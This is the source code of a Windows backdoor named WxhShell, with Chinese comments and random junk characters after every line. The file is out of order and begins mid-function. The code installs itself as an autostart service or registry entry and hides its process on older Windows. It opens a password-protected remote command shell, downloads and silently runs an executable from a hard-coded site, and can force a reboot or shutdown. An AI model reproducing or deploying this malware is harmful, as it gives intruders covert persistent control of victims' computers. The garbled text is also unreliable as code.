    if(Boot(SHUTDOWN)) A$Mmnu%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"L+`i  
    else { (qnzz!s  
    closesocket(wsh); 5vxJ|Hse@  
    ExitThread(0); gN Xg  
    } 0$%:zHi5g  
    break; ?k]^?7GN  
    } VlXUrJ9&  
  // 获取shell ds,NNN<HW  
  case 's': {  PW x9CT  
    CmdShell(wsh); iVLfAN @  
    closesocket(wsh); +LCpE$H  
    ExitThread(0); M3c-/7  
    break; L]3 V)`}  
  } (PE x<r1   
  // 退出 #!l\.:h%  
  case 'x': { ,&rlt+wE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }eetx68\  
    CloseIt(wsh); w xKlBx7  
    break; $DeHo"mg7m  
    } d`q<!qFZh  
  // 离开 \wEHYz  
  case 'q': { X]d;x/2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1%68Pnqk  
    closesocket(wsh); sa$CCQ  
    WSACleanup(); ZgK[,<2  
    exit(1); zgXg-cr  
    break; dE~]%fUFy-  
        } GKTt!MK  
  } #$2 {l,>  
  } @&#k['c  
_GS_R%b  
  // 提示信息 (3~h)vaJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $5N%!  
} ]Jz2[F"J  
  } jD1/`g%  
2wLnRP`*  
  return; /k8Lu+OJ  
} Z;Q2tT /F  
p5`iq~e9  
// shell模块句柄 "159Q  
int CmdShell(SOCKET sock) Cw6\'p%l-\  
{ dt&m YSZ}  
STARTUPINFO si; 0z&]imU  
ZeroMemory(&si,sizeof(si)); ~(i#A>   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KUJCkwQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \PReQ|[ah  
PROCESS_INFORMATION ProcessInfo; 'KvS I=$  
char cmdline[]="cmd"; }C-K0ba7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nz/PAs7g6  
  return 0; <O:}dXqZ  
} c12mT(+-  
kjAARW  
// 自身启动模式 @^P<(%p  
int StartFromService(void) eXKpum~  
{ CjR!dh1w_  
typedef struct ^m0nInH  
{ O-P'Ff"}t  
  DWORD ExitStatus; XZ%3PMq  
  DWORD PebBaseAddress; M%&1j >d  
  DWORD AffinityMask; Qa`+-W u8  
  DWORD BasePriority; "x1?T+j4  
  ULONG UniqueProcessId; p>#sR4d>  
  ULONG InheritedFromUniqueProcessId; an q1zH  
}   PROCESS_BASIC_INFORMATION; pLYLHS`*  
;|qbz]t2(  
PROCNTQSIP NtQueryInformationProcess; aSse' C<a  
v']Tusmg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -@7?N6~qZx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U:r^4,Mz*  
Q|KD$2rB  
  HANDLE             hProcess; ql/K$#u  
  PROCESS_BASIC_INFORMATION pbi; fQm3D%  
zv .#9^/y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6JgbJbUi  
  if(NULL == hInst ) return 0; Vh?5  
#~}4< 18  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xsk/U++  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6;C2^J@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KWS\iu  
i/{dD"HwM  
  if (!NtQueryInformationProcess) return 0; v[~~q  
y3XR:d1cg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `}:pUf  
  if(!hProcess) return 0; @[LM8 @:  
P(o GNKAS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HXm&`  
n  +v(t  
  CloseHandle(hProcess); wY]ejK$0R  
8B?*?,n5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Vc~yMz  
if(hProcess==NULL) return 0; ~@#s<a,%;  
kfY. 9$(d  
HMODULE hMod; XqLR2 d  
char procName[255]; /Qu<>#[?  
unsigned long cbNeeded; 3mQ3mV:  
}wB!Bx2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &E]<KbVx  
yi8AzUW cW  
  CloseHandle(hProcess); j ];#=+  
vYybQ&E/  
if(strstr(procName,"services")) return 1; // 以服务启动 I!"/I8Y  
E]Q d5l  
  return 0; // 注册表启动 9=J 3T66U  
} }#q0K  
]`q]\EH  
// 主模块 mGpBj9jr1  
int StartWxhshell(LPSTR lpCmdLine) 2Akh/pb  
{ _Tf %<E  
  SOCKET wsl; B?db`/G9  
BOOL val=TRUE; )EK\3q  
  int port=0; HBNX a  
  struct sockaddr_in door; 8Ow#W5_3|  
&lo<sbd.  
  if(wscfg.ws_autoins) Install(); 8%`h:fE  
e<{waJ1  
port=atoi(lpCmdLine); usNq]  
:*vSC:q  
if(port<=0) port=wscfg.ws_port; Xyu0n p;@  
}Ui)xi:8  
  WSADATA data; CD. XZA[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (Z0.H3  
BI<(]`FP;s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hh$i1n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g* -}9~  
  door.sin_family = AF_INET; T2A74>Nw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &p+2Vz{  
  door.sin_port = htons(port); J|@O4 g   
q&&uX-ez5W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m2l0`l~T8  
closesocket(wsl); \'X-><1  
return 1; >CqZ75>  
} R2qz>kyyB  
 wH\ K'/  
  if(listen(wsl,2) == INVALID_SOCKET) { M=fhRCUB  
closesocket(wsl); @.=2*e.z|b  
return 1; =y^ g*9}_  
} 'X\C/8\  
  Wxhshell(wsl); P  V9q=  
  WSACleanup(); DG=_E\"#  
MM~4D  
return 0; iA4VT,  
cef:>>6_  
} w[uw hd  
Pk8(2fAYk  
// 以NT服务方式启动 #UnGU,J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {;38&Izwz  
{ Kww+lgzS  
DWORD   status = 0; S,s") )A1  
  DWORD   specificError = 0xfffffff; >?{> !#1  
U9Lo0K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cr!sq.)s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;?gR,AKZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R?] S<Z  
  serviceStatus.dwWin32ExitCode     = 0; kqCUr|M.P  
  serviceStatus.dwServiceSpecificExitCode = 0; i;J*9B_U  
  serviceStatus.dwCheckPoint       = 0; ZO\bCrk  
  serviceStatus.dwWaitHint       = 0; s ~i,R  
^izf&W.j!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NV^n}]ci  
  if (hServiceStatusHandle==0) return; 8WwLKZ}  
++}#pl8e  
status = GetLastError(); !)OA7%3m  
  if (status!=NO_ERROR) ,`(Qs7)Xx  
{ ~gEd (  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bn Nu/02.=  
    serviceStatus.dwCheckPoint       = 0; Uc j>gc=  
    serviceStatus.dwWaitHint       = 0; A:?w1"7gT  
    serviceStatus.dwWin32ExitCode     = status; z\<gm$1CB  
    serviceStatus.dwServiceSpecificExitCode = specificError; .a|ROjd!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l 4cTN @E  
    return; s`L>mRw`  
  } M-5zsN  
lW@i,1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \'x?VVw  
  serviceStatus.dwCheckPoint       = 0; <gSZ<T  
  serviceStatus.dwWaitHint       = 0; %[m%QP1;p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YifTC-Q;  
} E"%G@,|3*  
;hPo5uZQ  
// 处理NT服务事件,比如:启动、停止 1L.yh U\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gd;e-.  
{ r)Iq47Uiw  
switch(fdwControl) K/LoHWy+n*  
{ OSCeTkR  
case SERVICE_CONTROL_STOP: g8;JpPw  
  serviceStatus.dwWin32ExitCode = 0; 0Yc#fD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j=w`%nh4"f  
  serviceStatus.dwCheckPoint   = 0; @33-UP9o  
  serviceStatus.dwWaitHint     = 0; ON$-g_s>)  
  { LwIX&\Ub  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,m.IhnCV\  
  } rxAb]~MMp  
  return; i9y&<^<W  
case SERVICE_CONTROL_PAUSE: ^1+&)6s7V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #)$@Kvm  
  break; nYO4JlNP  
case SERVICE_CONTROL_CONTINUE: #3Jn_Y%P.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0Bhf(5  
  break; G |vG5$Nf  
case SERVICE_CONTROL_INTERROGATE: [ f`V_1d3  
  break; 6}e"$Ee}9  
}; R>. %0%iq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W%cJ#R[o  
} mw&)j R$&  
~m.@{Do0p  
// 标准应用程序主函数 = eDi8A*~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m|+g_JZ  
{ 3.s.&^  
u@-x3%W  
// 获取操作系统版本 Q#rj>+?  
OsIsNt=GetOsVer(); IPT\d^|f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); weky 5(:  
DJf!{:b)  
  // 从命令行安装 X,8 ]g.<  
  if(strpbrk(lpCmdLine,"iI")) Install(); |\MgE.N  
u DpCW}  
  // 下载执行文件 &udlt//^%  
if(wscfg.ws_downexe) { 6S# e?>"+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YCd[s[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8/dx)*JCq  
} /2e&fxxD  
h+7THMI  
if(!OsIsNt) { >ps=z$4j*  
// 如果时win9x,隐藏进程并且设置为注册表启动 &{c.JDO  
HideProc(); 9I;d>%  
StartWxhshell(lpCmdLine); {FU,om9  
} zg2}R4h  
else 09SLQVo  
  if(StartFromService()) D-tm'APq  
  // 以服务方式启动 (/r l\I  
  StartServiceCtrlDispatcher(DispatchTable); 0qj:v"~Q  
else Gd8FXk,.!  
  // 普通方式启动 Z4 +6'  
  StartWxhshell(lpCmdLine); ZYy?JDAO  
? 2#MU  
return 0; yIL6Sb  
} 7xIXFuu  
:mwJJIjUW  
pp#xN/V#a  
TUQ+?[  
=========================================== Is $I;`  
.MzVc42<  
|ZAR!u&0  
j[Y$)HF  
u._B7R&>  
6{ql.2 Fa  
" ;p !|E3o.  
i*We kr3Wo  
#include <stdio.h> /7 CF f&4  
#include <string.h> ?9E shw2  
#include <windows.h> y\Z$8'E5W  
#include <winsock2.h> 3:Mq4 0]x  
#include <winsvc.h> 3$u 3ssOL  
#include <urlmon.h> %8_bh8g-  
[<+A?M=  
#pragma comment (lib, "Ws2_32.lib") ?+]prbt)  
#pragma comment (lib, "urlmon.lib") ' DZYN {}  
;wi}6rF%[i  
#define MAX_USER   100 // 最大客户端连接数 sO,%Ok1  
#define BUF_SOCK   200 // sock buffer pO* $ '8L  
#define KEY_BUFF   255 // 输入 buffer $?.0>0 ,<  
TzC'x WO  
#define REBOOT     0   // 重启 ET_a>]<mv  
#define SHUTDOWN   1   // 关机 v-k~Q$7~  
Uq:WW1=kh  
#define DEF_PORT   5000 // 监听端口 4&}V3"lg  
^usZ&9"@P  
#define REG_LEN     16   // 注册表键长度 CEwMPPYnD  
#define SVC_LEN     80   // NT服务名长度 A{[joo  
TN xl?5:  
// 从dll定义API B}PT-S1l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )U?Tmh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RObo4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G E=J Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MX@t[{Gg9  
s$cr|p;7#  
// wxhshell配置信息 F;4*,Ap  
struct WSCFG { q&/<~RC*  
  int ws_port;         // 监听端口 emhI1 *}  
  char ws_passstr[REG_LEN]; // 口令 i++a^f  
  int ws_autoins;       // 安装标记, 1=yes 0=no DChqcdx~~  
  char ws_regname[REG_LEN]; // 注册表键名 2 L>;M  
  char ws_svcname[REG_LEN]; // 服务名 J**-q(>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WrA!'I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -C]k YQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {X85  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @/MI Oxg[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  /$Qs1*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n~1F[ *  
-8HK_eQn  
}; 4LEWOWF}  
N~""Lc&  
// default Wxhshell configuration p<eu0B_V  
struct WSCFG wscfg={DEF_PORT, Ic 5TtN~/>  
    "xuhuanlingzhe", F9ys.Bc  
    1, P3 Wnso  
    "Wxhshell", 8 #m,TOp  
    "Wxhshell", \# p@ef  
            "WxhShell Service", <r9L-4  
    "Wrsky Windows CmdShell Service", S:bYeD4  
    "Please Input Your Password: ", jR1o<]?  
  1, ?/M:  
  "http://www.wrsky.com/wxhshell.exe", X#ZQpo'h  
  "Wxhshell.exe"  hTEwp.  
    }; YiO3.+H  
:w!A_~ w2  
// 消息定义模块 ww}4   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L;7u0Yg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; - w{`/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R ]h3a :ic  
char *msg_ws_ext="\n\rExit."; =JkPE2mU  
char *msg_ws_end="\n\rQuit."; ]9 JLu8GO  
char *msg_ws_boot="\n\rReboot..."; 5*O*p `Ba  
char *msg_ws_poff="\n\rShutdown..."; z#[PTqD-_  
char *msg_ws_down="\n\rSave to "; g<E[IR  
D-/q-=zd  
char *msg_ws_err="\n\rErr!"; L">\c5ca  
char *msg_ws_ok="\n\rOK!"; Dhe*)  
\,AE5hnO  
char ExeFile[MAX_PATH]; C`@gsF"<7  
int nUser = 0; -;:.+1   
HANDLE handles[MAX_USER]; ;u8a%h!  
int OsIsNt; .E:3I!dH7  
*8bj3A]vf  
SERVICE_STATUS       serviceStatus; zA>LrtyK(=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [.(,v n?6  
/E39Z*  
// 函数声明 W ZT) LYA  
int Install(void); z/I\hC9i  
int Uninstall(void); BXb=N E  
int DownloadFile(char *sURL, SOCKET wsh); EKD?j  
int Boot(int flag); 83adnm  
void HideProc(void); 3;O4o]`  
int GetOsVer(void); B? aMX,1  
int Wxhshell(SOCKET wsl); 0H +!v  
void TalkWithClient(void *cs); -U{CWn3G  
int CmdShell(SOCKET sock); y;if+  
int StartFromService(void); -d.i4X3j  
int StartWxhshell(LPSTR lpCmdLine); kaT  !   
H%bc.c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r j.X"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z[9t?ePL  
-N'wKT5  
// 数据结构和表定义 Eq?U$eE  
SERVICE_TABLE_ENTRY DispatchTable[] = 3xz|d`A  
{ 7w<e^H?  
{wscfg.ws_svcname, NTServiceMain}, Xw#"?B(M]  
{NULL, NULL} G=F_{z\}  
}; r;9 V7C  
&qzy?/i8  
// 自我安装 bt};Pn{3  
int Install(void) Bp_8PjQ  
{ ?Dl;DE1  
  char svExeFile[MAX_PATH]; Zq~Rkx  
  HKEY key; 95E #  
  strcpy(svExeFile,ExeFile); z1^3~U$}  
rb*0YCi  
// 如果是win9x系统,修改注册表设为自启动 (;;.[4,y  
if(!OsIsNt) { m5o$Dus+?'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  0R,.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Y0O.  
  RegCloseKey(key); RrT`]1".  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I)kc[/^j$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '5b0 K1$"  
  RegCloseKey(key); 1cc~UQ  
  return 0; *b_Iby-ZD  
    } ULhXyItL  
  } E4'z  
} ilXKJJda  
else { Zd'Yu{<_2N  
pss e^rFg  
// 如果是NT以上系统,安装为系统服务 tLU@&NY`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Eg&:yF}?(  
if (schSCManager!=0) `-e9#diQe  
{ !x:{"  
  SC_HANDLE schService = CreateService ~ MsHV%  
  ( l=t/"M=  
  schSCManager, M~7Cb>%<  
  wscfg.ws_svcname, o:&8H>(hn]  
  wscfg.ws_svcdisp, &uF~t |!c  
  SERVICE_ALL_ACCESS, 3d]~e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d&AO 4^  
  SERVICE_AUTO_START, X-X`Z`o  
  SERVICE_ERROR_NORMAL, @lX%Fix9  
  svExeFile, }]#z0'Aqsu  
  NULL, Rc3!u^?u  
  NULL, Caz5q|Oo  
  NULL, op/_ :#&'  
  NULL, `K:n=hpF  
  NULL /E2P  
  ); ~1E!Co  
  if (schService!=0) *>"NUHq  
  { mr/?w0(C  
  CloseServiceHandle(schService); nW^h +   
  CloseServiceHandle(schSCManager); YK[2KTlo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B=;kC#Emtf  
  strcat(svExeFile,wscfg.ws_svcname); O$;#GpR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V ?'p E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {]cr.y]\  
  RegCloseKey(key); x`FTy&g  
  return 0; +Adk1N8  
    } x/CM)!U)  
  } N Uv Vhy]{  
  CloseServiceHandle(schSCManager); 5jso)`IL  
} \+nV~Pi"A  
} maDWV&Db  
l$pz:m]Id  
return 1; Zj-U^6^L  
} DQ3 L=  
vK@U K"m  
// 自我卸载 9) ,|h  
int Uninstall(void) I|c!:4  
{ $'>JG9M  
  HKEY key; kS &>g  
6WT3-@d  
if(!OsIsNt) { j5Da53c#^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .D ^~!A  
  RegDeleteValue(key,wscfg.ws_regname); j'U1lEZm2  
  RegCloseKey(key); x>B\2;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y2XxfZ j  
  RegDeleteValue(key,wscfg.ws_regname); S<NK!89  
  RegCloseKey(key); ,mHUo4h1O  
  return 0; uV_%&P  
  } ;5L^)Nyd  
} ,b&h Lht  
} .MG83Si  
else { aVHIU3  
jk&xzJH.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RZV6;=/  
if (schSCManager!=0) u>.a;BO  
{ xl`AiO `K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !hZ: \&V  
  if (schService!=0) *|g[Mn  
  { 5N $XY@  
  if(DeleteService(schService)!=0) { m{=Q88k!@.  
  CloseServiceHandle(schService); / @"{u0  
  CloseServiceHandle(schSCManager); AK,'KO%{=  
  return 0; 5]LWWjT  
  } _3@5@1[s  
  CloseServiceHandle(schService); y)&K9 I  
  } V=*^C+6s  
  CloseServiceHandle(schSCManager); }}$@Tij19[  
} 96<oX:#  
} p>+9pxx~U  
"}qs +  
return 1; G2kU_  
} J??AU0 vh  
y`buY+5l  
// 从指定url下载文件 eNK +)<PK(  
int DownloadFile(char *sURL, SOCKET wsh) a24 AmoWx  
{ [z2UfHpt~  
  HRESULT hr; 9;U?_   
char seps[]= "/"; $\h-F8|JMX  
char *token; \\<=J[R.M  
char *file; 2L1 ,;  
char myURL[MAX_PATH]; ft(o-f7,  
char myFILE[MAX_PATH]; UTyV6~  
Ha-]U:Vcx  
strcpy(myURL,sURL); gx9Os2Z|3  
  token=strtok(myURL,seps); I* C~w  
  while(token!=NULL) R\3a Sx L  
  { Pn">fWRCx  
    file=token; ZK^cG'^2|  
  token=strtok(NULL,seps); )ciP6WzzbI  
  }  rvd $4l^  
1]2]l*&3  
GetCurrentDirectory(MAX_PATH,myFILE); #mu L-V  
strcat(myFILE, "\\"); N~O3KG q  
strcat(myFILE, file); f(m, !  
  send(wsh,myFILE,strlen(myFILE),0); GmWr  
send(wsh,"...",3,0); OY`B{jV-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0wv#AT  
  if(hr==S_OK) EYq?NL='  
return 0; ~%/Rc`  
else *pJGp:{6V?  
return 1; w7U]-MW6A*  
v&YeQC>  
} ,-y9P  
<(lA CH  
// 系统电源模块 kKSGC?d  
int Boot(int flag) :'Qiwf&  
{ }R['Zoh4I  
  HANDLE hToken; %)JEYH7Z  
  TOKEN_PRIVILEGES tkp; K4!-%d$  
}~I!'J#)  
  if(OsIsNt) { >s{I@#9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pD$4nH4KST  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rY_~(?XS  
    tkp.PrivilegeCount = 1; `uMEK>b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /e'3\,2_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (G"'Fb6d  
if(flag==REBOOT) { sW]^YT>?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) crM5&L9zF  
  return 0; | ;tH?E  
} JnBUW"  
else { o]e,5]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N6y9'LGG`  
  return 0; tUv>1) [  
} cJ96{+  
  } fc9;ZX7  
  else { EMmgX*iu@  
if(flag==REBOOT) { "<ZV'z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q3$8"Q^  
  return 0; ]<f)Rf">:`  
} RPz[3y  
else { h:%,>I%{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b' o]Y  
  return 0; J6Z[c*W  
} NfgXOLthM  
} n$/|r  
c?A$Y?|9  
return 1; _gT65G~z  
} \zO.#H  
 q#K{~:  
// win9x进程隐藏模块 $p0nq&4c  
void HideProc(void) 7OV^>"S  
{ H bKE;N  
@j46Ig4~b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nh} Xu~#_  
  if ( hKernel != NULL ) j_8 YFz5  
  { sfM"!{7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }%< ?]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?XBdBR_"^  
    FreeLibrary(hKernel); zwfft  
  } 11H`WOTQF  
Y6jyU1>  
return; *QC6zJ  
} RM2Ik_IH[l  
yZleots1  
// 获取操作系统版本 1b5Z^a<u  
int GetOsVer(void) ^)AECn  
{ S,&LH-ps   
  OSVERSIONINFO winfo; O<m46mwM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K.Xy:l*z  
  GetVersionEx(&winfo); 'oa.-g5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z74JyY  
  return 1; |L<JOQ  
  else F @PPhzZ  
  return 0; eD>b|U=/  
} 5aQ)qUgAW  
i fsh(^N  
// 客户端句柄模块 -)V0D,r$[  
int Wxhshell(SOCKET wsl) c1H.v^Y5  
{ s9?mX@>h  
  SOCKET wsh;  ?8>a;0  
  struct sockaddr_in client; TFSdb\g  
  DWORD myID; a5a ;Fp  
JYdb^j2c  
  while(nUser<MAX_USER) z|g2Q#$-\S  
{ o@Ye_aM~?Y  
  int nSize=sizeof(client); !wYN",R-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @2Z|\ojJ  
  if(wsh==INVALID_SOCKET) return 1; nW=6nCyvo  
-laH^<jm5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x\yM|WGL  
if(handles[nUser]==0) UylIxd  
  closesocket(wsh); Tu vs}  
else Kzev] er  
  nUser++; Kw fd S(  
  } 0#|Jhmv-zL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ][ $UN  
B:zx 9  
  return 0; }9OMXLbRv  
} jFQy[k-B  
OTy!Q,0$.  
// 关闭 socket F8%^Ed~@  
void CloseIt(SOCKET wsh) h,[L6-n  
{ 49 FP&NgK  
closesocket(wsh); PMQTcQ^  
nUser--; '(K4@[3t  
ExitThread(0); B>u`%Ry&  
} B)q}]Qn  
!.h{/37]  
// 客户端请求句柄 Y{dSQ|xz^  
void TalkWithClient(void *cs) H{cOkuy  
{ wBt7S!>G  
9/"&6,  
  SOCKET wsh=(SOCKET)cs; )CXlPbhY?  
  char pwd[SVC_LEN]; AQ-PHv  
  char cmd[KEY_BUFF]; UP#@gxF  
char chr[1]; fRNj *bIV  
int i,j; ?>7\L'n=5I  
dV$[O`F* b  
  while (nUser < MAX_USER) { zlLZ8b+  
60{G 4b)  
if(wscfg.ws_passstr) { 0\i\G|5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CH7a4qL`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rk9n,"xpv  
  //ZeroMemory(pwd,KEY_BUFF); cc${[yj)  
      i=0; }P.s  
  while(i<SVC_LEN) { C b'|  
WrP+n  
  // 设置超时 %@QxU-k_  
  fd_set FdRead; >V.?XZ nt  
  struct timeval TimeOut; }w)}=WmD  
  FD_ZERO(&FdRead); WD4"ft  
  FD_SET(wsh,&FdRead); E+y_te^+b  
  TimeOut.tv_sec=8; &pK0>2  
  TimeOut.tv_usec=0; i~x]!!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K^x{rn.Zf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h.-L_!1B7  
%lbvK^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); / 0$ !.  
  pwd=chr[0]; jJ"(O-<)D  
  if(chr[0]==0xd || chr[0]==0xa) { Dp ['U  
  pwd=0; WG,Il/  
  break; e=XP4h  
  } N5 sR  
  i++; |HAbZd7PG  
    } o4: e1  
>~d'i  
  // 如果是非法用户,关闭 socket 6[t(FcS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y ;mk]  
} *X3wf`C?  
6b*xhu\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5XT^K)'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -[!t=qi  
x7B;\D#`i/  
while(1) { ^vm6JWwN0B  
"T[BSj?E  
  ZeroMemory(cmd,KEY_BUFF); (Jb#'(~a  
(e_<~+E  
      // 自动支持客户端 telnet标准   0fj C>AS  
  j=0; L5UZ@R,  
  while(j<KEY_BUFF) { G9&2s%lu.e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F<h+d917  
  cmd[j]=chr[0]; /IcGJ&;  
  if(chr[0]==0xa || chr[0]==0xd) { ;E{jn4B'  
  cmd[j]=0; x+~!M:fAc9  
  break;  G>?kskm  
  } 4'3;{k$z  
  j++; Qu<6X@+5  
    } =84EX<B  
v? 8i;[  
  // 下载文件 nGX3_-U4  
  if(strstr(cmd,"http://")) { qu#xc0?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VZ IY=Q>g  
  if(DownloadFile(cmd,wsh)) YXTV$A+lW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(x0d  
  else J e|   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o6w8Y/VPu  
  } UM0Ws|qx&  
  else { :G98uX t  
9%21Q>Y?b  
    switch(cmd[0]) { (!b)<V*  
